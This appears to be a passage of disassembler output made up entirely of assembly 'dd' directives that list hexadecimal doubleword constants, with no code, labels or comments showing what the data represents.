		dd 0FF169C23h, 8869C0E0h, 8025D417h, 0F654E411h, 25671E49h
		dd 7A4F45AFh, 5968BC23h, 2180B5Ch, 2D0CD4ECh, 68004C5Bh
		dd 653CABC8h, 79AE023Ah, 6DC733D2h, 42A67C80h, 1500FF61h
		dd 47F8CE18h, 4C1977DBh, 0B45830D2h, 65CC205Fh,	48E83AB5h
		dd 3DCF303h, 0A8A6BB7Fh, 41349DDh, 5A675C72h, 540104E0h
		dd 4D10E8A2h, 44FA9F02h, 49391759h, 0F7E841F4h,	6A153C86h
		dd 45025C60h, 24C80006h, 855C6E52h, 0BA3D6C10h,	0B0418F7Fh
		dd 9849DA91h, 5C84D0h, 1F2E5438h, 0A3186A83h, 62224D04h
		dd 388C53BFh, 752AF8CEh, 0BA870082h, 8F3F49Bh, 4E5CC88Ch
		dd 586E24D8h, 6D15204Eh, 127A5920h, 0A2C4FDCCh,	63D9009Ch
		dd 0F1CE26B6h, 8C47276Dh, 9C0138D1h, 92869940h,	0EF2D886Ch
		dd 0CF429018h, 0B9DC508Ah, 204844B8h, 97CCF7D3h, 3879A49Ah
		dd 98914101h, 0B0F807E5h, 4D273BFDh, 83028B00h,	7529A225h
		dd 0FE1ABB00h, 67092BADh, 0BC94B834h, 5594010h,	0BC007F32h
		dd 0ACE7A2D8h, 211D68h,	0D6A4B44Ch, 0A8A6DCE1h,	46AD4CBEh
		dd 0B6F71298h, 0BC488C4h, 1CE2F45Bh, 45110076h,	4F19C1D2h
		dd 0D60BB0B4h, 41D1B559h, 207A02A4h, 0A6773C8h,	215CFC01h
		dd 75CE8FB1h, 0F880203Fh, 190986DEh, 21F2912h, 846C32A4h
		dd 0E856D898h, 7298344h, 0C8ACA016h, 0E090BFA7h, 2A005A5Bh
		dd 1E8CE4CAh, 0E8BFC0C9h, 0A49D0BB0h, 7044F172h, 0FB3B213Ch
		dd 2CA0232Ah, 79953600h, 84765450h, 24CE9D69h, 0E6EAA498h
		dd 28B9ECB0h, 594BDF40h, 0C2C11635h, 63B4C88Eh,	0FD14189Dh
		dd 467E275Ah, 2480A8D2h, 0F30EE519h, 0DDEDC9B3h, 4154F0Bh
		dd 0B0F9E082h, 0E14A3580h, 0E20029F8h, 82A6174Dh, 2D3C6CF1h
		dd 5CE27F77h, 0CD6DE8C0h, 18B55070h, 27FBE30h, 0B94A0537h
		dd 30DFAAA5h, 48A2A34h,	1187087Ch, 16170115h, 1828E42Dh
		dd 22BD9D3Eh, 0F73868Ch, 56150131h, 0FF0CF10h, 0D0CCF5h
		dd 0CE77BA4Fh, 14B954E1h, 8C14FDE4h, 7307B00h, 3F101917h
		dd 0E26303BCh, 1F9D601Eh, 7854C0ECh, 94951508h,	52A48060h
		dd 0F9493093h, 0BB6CA162h, 0A0C8BE5Ah, 0D8628AFAh, 3EC947Fh
		dd 1779B6BEh, 1E8294A3h, 0EBD3BF40h, 0CD21C900h, 0B218E6DDh
		dd 275CEC05h, 9465EC49h, 37353D00h, 0FEC5BC93h,	48D40206h
		dd 0AC320FC0h, 45008CC4h, 0CF9C1947h, 7D39A734h, 33E6016Dh
		dd 8CC410A9h, 99BAEEh, 84CAEFB0h, 2554EA48h, 0CCF95971h
		dd 9DDEB040h, 3CBE0003h, 8947908Ch, 0D70B7351h,	349CE80h
		dd 0F1EF6D48h, 2C2ECD0Ch, 0C258D710h, 0FACC1674h, 40BCC8DCh
		dd 0C93ED188h, 0B4704EC3h, 384F716h, 0E72C2895h, 80C0FFFBh
		dd 8B4B600Ch, 0C07C64F0h, 0C3BC9908h, 0FA3B5E94h, 781AAFEEh
		dd 78485C8Ch, 49A4984Ah, 71F46600h, 0BC4BA75Eh,	0C3A916EBh
		dd 6DDCC536h, 0C81020A4h, 4FB59498h, 186F00D4h,	0E7E4C9BAh
		dd 0F586EA39h, 0B9C5F002h, 59AFEF0Fh, 0D33D000Ch, 0ED6780F9h
		dd 0BA73EA00h, 3BBFEC71h, 3AD93813h, 80AB5A8Eh,	682B036Bh
		dd 0A4FF38A0h, 6E387B94h, 55AB07E5h, 0C4A4E827h, 0C37808FEh
		dd 1282EA80h, 0D22DA68h, 234E3738h, 0C0707CC8h,	47BC30A6h
		dd 61E0E2BDh, 34DC4806h, 80544519h, 86D729B4h, 0FECE8D03h
		dd 9873B27Ch, 49FBBB4h,	8AFD39B1h, 0E80EEEA8h, 0BEFEE01h
		dd 7CA02BE8h, 36C06F44h, 0EC76DFF9h, 0D6EA6A02h, 4054938Dh
		dd 4CE76044h, 5802E4FEh, 0D906E539h, 0AD60C227h, 22D10E2h
		dd 696F1DCFh, 57F8E6Ch,	1AF0270h, 0C2188F3Ch, 0B8D9CA8Dh
		dd 415C7925h, 0EC340B3Ah, 0D1716920h, 0B01FEC01h, 10EFE48Bh
		dd 4C1A6420h, 0D680D086h, 0B96D983Dh, 208F8030h, 445F7233h
		dd 0AB2E25F6h, 4100AAEEh, 17FE1653h, 34A54A7Ah,	0E0E8D8h
		dd 0EF5DEE21h, 244A9886h, 4E1A08h, 6F276AE1h, 0C4BF9F3Ah
		dd 83EE10h, 2BB69B2Ch, 0DBEFE747h, 0F5129090h, 3912AF88h
		dd 491F4704h, 5E4D44B0h, 0BAD425E5h, 0FFEC28h, 0E51B5BA1h
		dd 4B92AD15h, 0C150C49Fh, 0C68E9DD0h, 0F4D03EF3h, 2D801822h
		dd 0A442AAE6h, 4809EC89h, 0F8537C7Eh, 917981A4h, 3C6284Ch
		dd 95AEA1CFh, 0E1A1E526h, 1C43218h, 327C5337h, 2470D721h
		dd 0BAEF27FEh, 450548A0h, 0C5009931h, 7998468Fh, 87B464h
		dd 177EFD34h, 0B0C05CECh, 4D10961Fh, 764C8F02h,	0C26CCAEFh
		dd 0A0FC6680h, 0B5CCA044h, 6A00E0C6h, 83696E86h, 0EEFC81h
		dd 0ABEFD9B7h, 625D6494h, 0BA599912h, 93879002h, 0CB4C80BBh
		dd 800155h, 1210C342h, 554CA4Fh, 5CD30439h, 1C222E60h
		dd 9626F1Ch, 643D167h, 6300A0FAh, 0F96E8F74h, 4FCD6DEh
		dd 0E787B570h, 0C317C1F1h, 79A891E6h, 0D22F0C00h, 0C2FE37C4h
		dd 761280B0h, 4040BBF8h, 4181EE9Dh, 0CC3E1D23h,	8C16167Dh
		dd 9F1EB0CCh, 0F1142668h, 2C29D688h, 0C81242E1h, 0F172387Ch
		dd 0AC6396F8h, 5026A094h, 56A718B1h, 0D28BF09Eh, 0F2007893h
		dd 8E50F77Ah, 542B48CFh, 0B1CC7877h, 0DD166110h, 3E93DFF3h
		dd 262B1FD0h, 55021015h, 0A3891660h, 7475380Bh,	0D88861D0h
		dd 579EFCA6h, 0C6903427h, 0CE5E00E4h, 4F07AEDDh, 6E1E0824h
		dd 0A4820AAAh, 0DCDF27D4h, 0EBBD8054h, 8FAC43C2h, 0EC00445Fh
		dd 6E9B6BDDh, 18A61D4Fh, 353ECA7Ah, 821CC4h, 0AAEF98E2h
		dd 0C21FB108h, 0EC6F7193h, 0FD4B0048h, 6068AA80h, 6224B13Ah
		dd 78129410h, 0DDD0D427h, 0E66797h, 0A1D35F95h,	0DCD5699Ah
		dd 11ADBF1Fh, 1076EF40h, 4D193525h, 0A30EC45Fh,	28C03823h
		dd 0E3696090h, 0C140F50Fh, 708B24A1h, 808809EAh, 0F678C818h
		dd 0C8039E00h, 7FD8E7E0h, 0F9C123Dh, 0C204B9EAh, 0DF4AB9B3h
		dd 0B8EA7018h, 1F08E00h, 8A364C6Ch, 0A2B54F7Fh,	2D830080h
		dd 40593B17h, 1B1300EAh, 2A75E6B4h, 31003432h, 0F01EAB81h
		dd 0C4F3D3h, 4DFE1AF1h,	2E77E34Ch, 0FC1D8B4Ah, 0E838D92Dh
		dd 0BEC3C098h, 5D0076B0h, 7E0D305Ch, 0BFE5328h,	9C1FA056h
		dd 60CB300h, 6B74E6E1h,	0F81EC800h, 2E83990Fh, 22440959h
		dd 50586F0Ah, 0F1D1870Ch, 964E9012h, 730049E0h,	0BBB06CE5h
		dd 33AAEE01h, 3AC38473h, 9E08907Bh, 0D4F79823h,	0AF5EED8Bh
		dd 0FB124C8h, 547CAB71h, 0C82AF5C0h, 0B807585Ch, 0C41E3F34h
		dd 6F781089h, 0C6A90126h, 8EEAEB9Bh, 0E0AD4453h, 0C75DC4DCh
		dd 8E8CCBD0h, 0F825E11Ch, 7000CD86h, 99009A5Ch,	0DC9624D8h
		dd 9EC5B80h, 43500518h,	0C0D9E409h, 0FB5AE363h,	0F949E92Ah
		dd 0BDA4C83Fh, 17070B7Eh, 2E4357CBh, 30AB54A5h,	924D2D5Ch
		dd 0B0BCD107h, 0FB37F17Dh, 3B21A5F3h, 0B04EA750h, 0F213E7CCh
		dd 680460A3h, 20CDBD17h, 402C51F2h, 884E3A84h, 0C9F72C01h
		dd 0A76137E8h, 0C3F0DC1h, 7C41A40Ch, 59F2122Dh,	0F99083F0h
		dd 0C6E144B4h, 79043095h, 6F0C1E00h, 48C0A087h,	0B0EF0531h
		dd 90F30E23h, 0F0167660h, 98047F82h, 9CE256F8h,	30749C00h
		dd 122BD682h, 0B5FDF900h, 809DD8F7h, 0E866B54Ch, 3DD9DF62h
		dd 0DACAE0BDh, 96A20EF2h, 822DE93h, 0D560D7E6h,	0C0005DB4h
		dd 500C4034h, 0BD4C689h, 218F276Bh, 0EAEC4464h,	0BAEE4000h
		dd 0EBBB9661h, 2627EF9h, 121760E7h, 0BF859EA6h,	0C27CA794h
		dd 77735AEBh, 4596BC18h
		dd 0B9492200h, 0CDA02394h, 0E3174F48h, 3C853EF8h, 0B820CE72h
		dd 0CB4221h, 0D71093D0h, 0FB66743h, 8C47ED00h, 8559E1CEh
		dd 38F19068h, 0A44C7099h, 0AD370593h, 9D00A3Fh,	0A47684C0h
		dd 8CE31318h, 0C8A00116h, 5600E3DCh, 63DE7D4Bh,	0C8D881h
		dd 9DA38B91h, 8CF324ADh, 7F243B50h, 0C6802494h,	0CA41385Dh
		dd 77B017ACh, 0D46CC82Ch, 423F4Ch, 7BD87F87h, 35BB3Eh
		dd 6AE46DB3h, 0A1705AFFh, 0CC5ECEE5h, 0B9836C40h, 91589468h
		dd 0AEBC00DCh, 71ED0CC1h, 94C1FA2h, 8C48CCB5h, 40C0500Ah
		dd 5F5B6990h, 0C874E5A3h, 24929559h, 82682184h,	0D8DCD5E4h
		dd 0D4B9B064h, 0A8CE942Dh, 0E00937Bh, 447982DEh, 0F87FDFE2h
		dd 0AC0702B8h, 4D4EBF76h, 0DE09855h, 8A940066h,	0FAC233B1h
		dd 7C3DDD7Ah, 49358569h, 10E84D71h, 19735BA0h, 1103D5B8h
		dd 1FC72CD7h, 37C1CF9Ah, 0AD701C75h, 4850EE4Bh,	8C00F0ADh
		dd 655E3223h, 0C500150Dh, 7722CA85h, 0CE877Ah, 8F8367E2h
		dd 0B7DD884Ah, 43E6B207h, 0DB764D32h, 21646008h, 81B7D59Dh
		dd 50490F0Ch, 10D3502Bh, 699D1CEh, 4A7EF8DCh, 2C94658h
		dd 0E6BDB7D2h, 84EE30EBh, 700FC83h, 505D7F39h, 0D4386860h
		dd 7B33864h, 9D1AF92Dh,	0E107A085h, 0CF0115DBh,	0A87F8911h
		dd 318C4A7Ch, 0FB7169F1h, 0FD743E00h, 7AA96652h, 6C28C07Dh
		dd 7376D368h, 212A31C0h, 0CD1E55Bh, 0F992BBD4h,	21C17509h
		dd 765B398Ah, 54AFDCh, 73AEAA22h, 49854312h, 64D8E400h
		dd 0BDFD7B0Dh, 4580A0BAh, 0F3688003h, 1987D900h, 0B221093Fh
		dd 5E7D0E0Ah, 78ACF79Eh, 7918CB61h, 0E11A2F98h,	7A9F0C7Eh
		dd 82100DECh, 4400BE76h, 3D2D99DBh, 3297896h, 635932A1h
		dd 0ED80E118h, 77774A97h, 0F100ABE8h, 1B546224h, 0EC851C47h
		dd 1C5E5819h, 2FC0F801h, 60E0F4B4h, 0BE3BB69Fh,	4280033h
		dd 0B7610C78h, 3A530077h, 31124C42h, 0D70CB4A5h, 8CC2D3Eh
		dd 6D21C05Bh, 706312C4h, 0B2003AB8h, 0ED019D39h, 183BDD9Fh
		dd 288B9A2Ah, 230097A2h, 77FCE9E2h, 63F4B61Eh, 3B9B087Eh
		dd 0BB72003h, 0A93EE6E2h, 3DF09F76h, 378F4CAh, 0DAA25C53h
		dd 78A624B3h, 4ADF1A00h, 0ABDEC019h, 76A93137h,	80A1F108h
		dd 4AE66320h, 5C30A374h, 2004FDAh, 0D2B0ED8h, 2960D267h
		dd 0C8D1BB49h, 0D4B0CEEAh, 0D58CE22h, 86BC9E0h,	26072C0Ch
		dd 3877C18Ah, 0AB006CF4h, 39B328C7h, 20C93D4Bh,	29CD0181h
		dd 1D200FD8h, 0C380A4F2h, 0EECCDC10h, 0DB12B0C7h, 0B00FC85h
		dd 6FB223C4h, 942C32h, 2B035BFAh, 689072CCh, 1D26A13Bh
		dd 51074EC3h, 0A900743Fh, 0E7F817h, 0B03A9C09h,	5720D0D1h
		dd 5542B200h, 91E326CFh, 7F6A0049h, 13B7B07h, 7E010C30h
		dd 5683D7C2h, 2AF81594h, 4D3A0340h, 0E7A2A17Ah,	0F6F882F3h
		dd 9A76E1EAh, 0BF63FB00h, 45895A25h, 94521C5Dh,	9DAA00C1h
		dd 0E99088A6h, 0BBEF6600h, 62C43BCBh, 1C87004Eh, 371472EBh
		dd 52002746h, 40AC6CF8h, 89FBC6h, 508D152Bh, 79FD936h
		dd 9C717501h, 0ABFE8C7Dh, 10F42E0h, 0F5037CD3h,	0D2235293h
		dd 1C41DA80h, 0A207437Ah, 9A7EC2EBh, 9043C3F7h,	0DA2000F6h
		dd 990379E5h, 2D7024A3h, 7DB81226h, 130CC913h, 6D14804h
		dd 8A16E519h, 0AB131021h, 9D1EBF51h, 0C230AC6h,	18F73109h
		dd 4049CB20h, 86DC2181h, 28E2A507h, 8C70F498h, 36FF6DC6h
		dd 51B033EAh, 0A5088B28h, 0E4998501h, 5F0D3005h, 30676842h
		dd 0D7117AA0h, 96884BA2h, 7A09E681h, 28DCA85Dh,	0C841607Ch
		dd 6C1B186h, 5EFA9018h,	1E18A158h, 4019D0A2h, 0DA8AD427h
		dd 5900F238h, 0D5B32F7h, 0F29F671h, 7FA6486Ch, 64B634A0h
		dd 0C600D8C9h, 9587461Ch, 4AF2A0Ah, 887CB3B2h, 5344807Eh
		dd 0E20E7D71h, 0A0229CBBh, 32259FD2h, 5D64006Ch, 21CA80F7h
		dd 6A014A40h, 0C45C021Ch, 89CC2388h, 0F6B400AFh, 9CC80C90h
		dd 2A1E03D0h, 0D880FB6Ch, 0E63BAD82h, 0E00400FEh, 4C726755h
		dd 0B380A84h, 0BC4100C5h, 0F3A43338h, 0B3F10769h, 0C7B19B54h
		dd 995F50A3h, 16F470B6h, 1981100h, 9E680E66h, 0E82400ABh
		dd 0D54BB131h, 3F007265h, 1F3098A6h, 6801FAE1h,	0F60411ADh
		dd 4D5F7B18h, 0E50510h,	0B02B90E8h, 0A67F58C3h,	929BD003h
		dd 0E17BB2DCh, 2888E53Fh, 0AF90EE94h, 446B6884h, 51443E87h
		dd 42CB4802h, 0B3248FF6h, 48FFE427h, 15198037h,	9572A56h
		dd 0DDA9C500h, 6F124D65h, 93D748E2h, 3BFA6A00h,	8EF33C67h
		dd 75CA1600h, 0ED690E70h, 0E9A000FFh, 7B2462DBh, 8F071B39h
		dd 888D65B3h, 0FFAF4A70h, 0CF7701BCh, 0ADC2F15Bh, 8CABE441h
		dd 6726BE00h, 0D1D7A975h, 19CFEA6h, 0D861D07h, 706DD47Fh
		dd 97032ADEh, 0D58B0E45h, 3A29E062h, 0E0A77B9h,	0CA24BF57h
		dd 11523E86h, 0D6BE3900h, 0EB6B0E93h, 0CA95078Bh, 0B0DA674Eh
		dd 8A5BDA2h, 460F9170h,	8025BAA7h, 0DD316488h, 560F0A04h
		dd 80D8E1E4h, 0AC43B783h, 0E7007EF3h, 7F8C364Ch, 7D171C5h
		dd 0B24B4FDEh, 0EB006B53h, 65212B39h, 43D9A1Ch,	0A901040h
		dd 1218273Bh, 2EECFAh, 5B508C00h, 0E07AC83h, 525EF86Ah
		dd 0E4C85580h, 16E30389h, 7B13ADD6h, 45B0ECC3h,	8D00A0E2h
		dd 402D73B6h, 886FE6h, 633ABBDAh, 54C9267Eh, 6E15AA00h
		dd 5DDE3718h, 9EC7059h,	0A1662A7h, 323C7C06h, 0BCCB4F02h
		dd 407220D7h, 1D0FC9Ah,	0F151AC85h, 70695E3Fh, 1E009979h
		dd 7EF6F4B0h, 0E1D3EAh,	0E2C89D7Dh, 9622D4BCh, 5F6CEC00h
		dd 0E68F60AFh, 9DF500B9h, 66C846EDh, 3A00953Bh,	0B1D3DA07h
		dd 0B8B428h, 4B9418CDh,	0CCA312DBh, 4E23F91Ch, 5490DC0h
		dd 59A2CAh, 7C217786h, 0F1AAFA01h, 14DFBF00h, 97643870h
		dd 8DB7000Ah, 4D18E61Fh, 913DE782h, 8E5580BEh, 0BB98860h
		dd 0CAC609DCh, 2C80359Fh, 76AE3753h, 46CFEB00h,	774E4CDDh
		dd 0D90400D3h, 2C926A6Fh, 6603E61Ch, 7419B578h,	5024E845h
		dd 579D0052h, 960D012Bh, 0B200C294h, 0D4BF72F1h, 0A0C5E8E4h
		dd 0F874A688h, 5B902Eh,	0A8437942h, 3ED0F395h, 0F59ED0Bh
		dd 18D48055h, 5A5F611h,	0C4E066D4h, 43C080E9h, 0C50042DBh
		dd 155BF991h, 3D052901h, 0FBDC4ADDh, 0D8E4170Eh, 0C8FAD040h
		dd 7004468h, 0B71AEA99h, 535870h, 0FC182D88h, 6ED3B16Dh
		dd 0C120AC03h, 0D921100Ch, 0BECD7BDh, 0EF9E0087h, 0D91CE21Fh
		dd 700F6F26h, 214B5FDEh, 0D43E7A8Bh, 0EA86FCh, 0D55E9C14h
		dd 2BD32FE3h, 0C621DE00h, 35B150FDh, 0A69E0394h, 2EB041A5h
		dd 3356C08Dh, 0AE00E193h, 628606Dh, 12ACDFh, 5042A1ABh
		dd 0E6FD82BBh, 0EB205800h, 5136B87Ch, 0C757005Dh, 592153EEh
		dd 6F0BDE1Ch, 80CDC35Eh, 7D0F2345h, 0EEF61D95h,	5255C0A4h
		dd 2FBBD06Fh, 4621107h,	0AD749869h, 0F9091E83h,	0B7D13AA7h
		dd 371DF4h, 0E0BFD43Bh,	6A6D566Ch, 0EF07D171h, 647E54F5h
		dd 0EEFC7A70h, 63E3009Ah, 999EC01Ch, 70003F93h,	8EC75904h
		dd 7BD86Bh, 0B63EA62h, 0A9441E5Ch, 80F77C3Fh, 647D7F54h
		dd 306FFB49h, 0DF1CA251h, 0D700A7FEh, 93CA4146h, 0C23999h
		dd 79CBEEAEh, 0C7252470h, 1C3EE500h, 0DBD58ACAh, 0BCE00Ch
		dd 0DD1B7E9Bh, 0A227EA30h, 7728F30Bh, 1800802Ah, 0EEAD09h
		dd 5A9E0E0Bh, 0D92291D7h, 92F6887Fh, 0F1941050h, 7C5BFC00h
		dd 0FFC53897h, 24D70ADh, 6268B365h, 20986EB2h, 0B6003BDEh
		dd 7907F21Fh, 1840F025h
		dd 10F1BF92h, 0C039C942h, 0B0ED015Ah, 3451B6ACh, 0F58AF8h
		dd 40B8E835h, 9BEFBCB1h, 2C5EE724h, 3DF46E00h, 0F5A48BBh
		dd 0F62F52E5h, 0B4CB95C0h, 400651Ah, 974B3F81h,	3EA1BDE3h
		dd 3381F4A8h, 4359A372h, 470CF8EFh, 30B2CD00h, 0DC804C6Ah
		dd 9087FEFFh, 55E80091h, 0A93CCAE1h, 8C00ED9Fh,	0E99B01CFh
		dd 1583396h, 0FE1881B0h, 0C4EF0735h, 7639ACB8h,	0C28D008Eh
		dd 4DE886A4h, 0BE1F0121h, 0A01D58C7h, 4FD6205Ah, 0C52E3B00h
		dd 0B183F786h, 0EE6379C0h, 7AA100D5h, 1AC4FACCh, 709D57A9h
		dd 31FF3AD1h, 40F19109h, 0BD168500h, 5400DDD6h,	712A2772h
		dd 6CC281h, 0E3CBB1F2h,	8D631786h, 0EB8EF000h, 6FDB4A7Ah
		dd 486D00BFh, 5B42A73Ch, 0A000B32h, 2F4EC06Ch, 2CE4DFh
		dd 0CC2E3A1Eh, 94FA7A27h, 9E26C300h, 3EADD895h,	0EBF4000Fh
		dd 0E92964DAh, 620034FCh, 0CF3EAF0h, 4892A1h, 49EE252h
		dd 67023615h, 593D7700h, 327FB012h, 94144806h, 1B64600Eh
		dd 98D8E260h, 54004EE5h, 0D7CA08C3h, 0B58E4Bh, 3277D45Ah
		dd 0C80A7DA0h, 0FCFB651Dh, 90EE94h, 6E2973FAh, 9B8B066h
		dd 0AB196AD0h, 0C7A39400h, 1600ED9Bh, 8E3BFB37h, 0EAA7BBh
		dd 0BC303E59h, 0E3859A3Fh, 0E058700h, 0F949743Ah, 679539BEh
		dd 76D9C500h, 8F4DF01Ah, 6ED00B00h, 0B59B360Ah,	0E50F018Dh
		dd 588ACF38h, 0F0DDC515h, 7B715445h, 4046CE00h,	0A98969C2h
		dd 82D800EAh, 0E16C5BB7h, 0BB18D6B1h, 9C886119h, 70040F5Ah
		dd 56400B08h, 30E24357h, 8AAB7B24h, 0D4200A00h,	70CE5A7h
		dd 659B5D8Ch, 1226A0EBh, 7E309181h, 0D96819FFh,	4A1C006Eh
		dd 5BA759E7h, 3801C20Ah, 49EF0EBCh, 83D8DB18h, 0D2820076h
		dd 5398C71Bh, 7F0EBFE5h, 4789C3DCh, 52F05A02h, 1DCC0972h
		dd 3288A1h, 585FE9BAh, 3A3E04C8h, 5868017h, 0C2388CD8h
		dd 7E960752h, 3001350Ch, 8161FB87h, 0C00D5600h,	9D8D531Dh
		dd 0E69907B6h, 3FA0E7h,	3C1AD528h, 2042E92Eh, 0B7DE7100h
		dd 0B139C7h, 77E23344h,	57498F09h, 3502AF07h, 24702ADAh
		dd 26C02FA2h, 0EC1DBBh,	0D8C89327h, 7400CCD5h, 0C54B8722h
		dd 0C3EFBAh, 39693044h,	615B493h, 5BA0770Fh, 0D93641C0h
		dd 9BE05497h, 0CF225h, 0F612920Eh, 0E5D6F153h, 36448900h
		dd 19C7B65Dh, 2624013Ah, 0B557F3BBh, 2E38CCE4h,	50CBE800h
		dd 58D2E6A9h, 0B62A0EEAh, 0C8606FC4h, 0A8E9DF4Ah, 6ACC6100h
		dd 0A6E21D59h, 0D95C000Ah, 0FBC9E48Ch, 0F801C04Fh, 0DE218A2Fh
		dd 319D3DD2h, 0AC74C0B6h, 69F5B589h, 0D8A7B200h, 0C8071103h
		dd 0C1633138h, 71AC0C28h, 0B857DC25h, 82095100h, 0A0A2C8DCh
		dd 391C002Fh, 7DA87461h, 0BC1EDD01h, 0E5806358h, 0B666ECCDh
		dd 456A03A7h, 148A623Fh, 4FDEF6C0h, 0AE385D00h,	8D658B1Fh
		dd 0A6FC0010h, 0C3BDE112h, 441E9C97h, 25C089AAh, 1D428C81h
		dd 0C79300B3h, 648E582Ch, 0BA0004A6h, 6D1E5716h, 0B2E823h
		dd 9183A093h, 0D3456401h, 0CC67B600h, 9CAF2125h, 1FBA00B7h
		dd 23C29EECh, 24E028D2h, 0BE72C300h, 0A554B66Ch, 0B11F0082h
		dd 0C87D3E14h, 90004499h, 5ADEE0A2h, 0C064E509h, 0FE5625E1h
		dd 0D6004AFFh, 696FF580h, 0E08A97h, 0B308905Ch,	264F286Eh
		dd 0E9D21900h, 7DCC0516h, 54E0007Ch, 68A2EB78h,	0AE044697h
		dd 0A7D39EFBh, 7F7A000h, 0DE00ECF9h, 4B618379h,	1CBDD6h
		dd 4299B219h, 9039F93h,	0F09888C3h, 63DAE0D9h, 0CB2200FDh
		dd 47B77754h, 0EA16E2A9h, 87006D0Bh, 6B60BF7Fh,	9CD93DCDh
		dd 1C8D9780h, 46472C8Ch, 8ECA7D0Fh, 7A63E7C0h, 6E5E6260h
		dd 0F11E0036h, 2895E62Bh, 0A40FA7B0h, 80485B05h, 7E24BF4Eh
		dd 12E6E5h, 0F20C5AB7h,	0E7F0AEB6h, 5DAF1400h, 3C37053Eh
		dd 19F0E11Ah, 63750743h, 813F8B09h, 0EB6A039Ch,	0C6EF87F8h
		dd 73BBB400h, 0F43E3348h, 0B3AB00C1h, 1E195985h, 0A200CEC3h
		dd 88E63B95h, 755CB90Ch, 22550215h, 0A12C9C0Dh,	0D2A95440h
		dd 0C6E54700h, 77CD9526h, 86B2017Ah, 0D5BCCA91h, 0BAC8DC12h
		dd 0BD8F3501h, 0C2AA6766h, 30432C4h, 0BCDCB16Ch, 9C2A42D6h
		dd 1A00D89Dh, 40456E07h, 0ECF18194h, 0D5350059h, 256FB9AAh
		dd 0D4E6A3FBh, 7226103h, 0E0C1DA7Dh, 32D12F5h, 0FD57320h
		dd 3C9ADECBh, 1F95F080h, 9B00EA02h, 0B922D88Eh,	1C607175h
		dd 822EE557h, 0BCD94485h, 6474D8C0h, 991CC97Dh,	3A40C503h
		dd 5E535029h, 0D58D0016h, 0CC24A840h, 0DB1D3D7Eh, 0BF4242C5h
		dd 0E0F4D448h, 982DF7h,	15CAD137h, 0AA012BC8h, 68D9EF00h
		dd 25DD076Bh, 3E3B007Bh, 0D0DB754Eh, 0C00DECAh,	38412297h
		dd 2956DEBh, 0DFEA4AFh,	584001F8h, 8A095ED5h, 0E0E331h
		dd 73692FB8h, 0CD7E00D1h, 930AA37h, 7A14085Ch, 0F89C14h
		dd 0A86A8ABCh, 300297BBh, 0FC48DC81h, 1CB0A2D5h, 3745491Ch
		dd 4CDBB107h, 8B84CCE1h, 984087E9h, 736529C2h, 1EF47E30h
		dd 64FCBA1h, 2086DA48h,	9BC14600h, 5122348Bh, 19211840h
		dd 7B367858h, 87998909h, 0A002078h, 98CBF5F6h, 6F5E0058h
		dd 0EBBD96FBh, 55001B62h, 89BBD373h, 5082DC7h, 922F9D05h
		dd 0FF8C00DFh, 1EC9B894h, 4C001B77h, 9F85076Ch,	3B192A9Dh
		dd 0C4063153h, 3082E077h, 7C135A02h, 806B7354h,	950EDCC0h
		dd 0A8360040h, 0F3EC0AB8h, 0D0EE6D77h, 67E1CB01h, 0C3BB7339h
		dd 117F7F4h, 8026BD29h,	4031068Fh, 73E98398h, 0AAB1930Ch
		dd 9BE004h, 0E3AFB536h,	0A85BE1B0h, 9D665317h, 788D4B00h
		dd 0FA56FCh, 62B4A96Bh,	2CC4683Ch, 371CAF00h, 0D57BA03Ah
		dd 0FC4F78BFh, 12F61B82h, 2FE15873h, 99A281FEh,	1F776A93h
		dd 0A2E45F31h, 6E830098h, 0E3FC1124h, 490029D4h, 0D29E934Eh
		dd 7D360BC5h, 0AC882839h, 72E50987h, 7D0ACBDDh,	0A2B904D0h
		dd 0D5F10097h, 101267h,	0C254C90Bh, 1F3DB4FFh, 4A22CCE3h
		dd 0BD181103h, 0BAD28D1Eh, 37D78015h, 0F047967h, 65FE7DC7h
		dd 0C563A4AEh, 1FD8CF58h, 431EEEB8h, 0D08069AFh, 2544BE1h
		dd 0C4514852h, 0A2992E00h, 59490C3Fh, 7B2DC61Dh, 0A702B75Eh
		dd 412FAC12h, 0D6CC2928h, 772405A6h, 801D8819h,	0ED33CC04h
		dd 3ABEE700h, 0F5C3095Bh, 560780BBh, 0C5302203h, 986C34D1h
		dd 0F0271D02h, 4B0F296h, 63A5E635h, 4D0C813Fh, 7BA88124h
		dd 0CBBAA272h, 8D28C8h,	0CD202F31h, 0FEE99A03h,	564B2200h
		dd 0E7F3BE63h, 48ADECC2h, 0E4500438h, 0F5BC0319h, 8553745Bh
		dd 9FCDA000h, 8462349Ah, 2C134CEDh, 30BC6F30h, 511FF1EAh
		dd 0AC0CEFDh, 83285663h, 0A5C503C1h, 803BB513h,	0FC06BF89h
		dd 700EEB92h, 805668EAh, 15C744BCh, 87CE9h, 7D06882Ah
		dd 0E5F776D4h, 6C015200h, 0A3BD377h, 0BB270AE9h, 808CDC9Ch
		dd 0D0285E7Fh, 500AAFDh, 802E7AE5h, 0EB21668h, 2D93DAFAh
		dd 700E7347h, 0B7F3EE0Ah, 6C74880Bh, 5B70030h, 6256AEh
		dd 0C0A42A82h, 28834375h, 7CC5B909h, 0F75B83DFh, 0CC4AC039h
		dd 48110092h, 0C75A8302h, 0F6010734h, 42A79C2Bh, 0F4308991h
		dd 26EB007Dh, 5A77524Fh, 0C7000C18h, 0C0F6FBF2h, 3D031997h
		dd 0F665AEh, 748FE93Ah,	67E00AB0h, 0BC11B400h, 725D9087h
		dd 387C80h, 0FAFEBD84h,	29EB7EB0h, 66F62A00h, 0C4943E4Fh
		dd 0F4270CC0h, 640AA7F0h, 0AB355C00h, 9A01EEEh,	940A00E2h
		dd 0C069F30h, 81E4E88Ch, 566B5901h, 0CB44B77Dh,	3B6EAE0h
		dd 0A4B408D6h, 8F81D3C8h
		dd 345DD040h, 5B7CF438h, 7206E0FCh, 38317122h, 82990201h
		dd 0BA0A342Eh, 0BF06E841h, 0AF8834h, 0CEF06C4Dh, 4166E999h
		dd 3A00D5F0h, 0AD43BB6Bh, 0B3EB1Ah, 9060861Ch, 111B70Eh
		dd 832B7F00h, 96CFF56Bh, 0FD6700E6h, 93FED34Ah,	0F098540Fh
		dd 0C57FEB07h, 20F08C3Eh, 373BD4C0h, 8678AC28h,	30610A0h
		dd 1E69B9F2h, 2E47120h,	0ACDC04B7h, 2EE2F3D7h, 10281CA1h
		dd 5906D374h, 7043C567h, 0AB730E11h, 0D000C41Fh, 0E2FDD7D4h
		dd 37E148D8h, 74872C9Ch, 0E3283EEFh, 2F3F0D0Ch,	0D7342267h
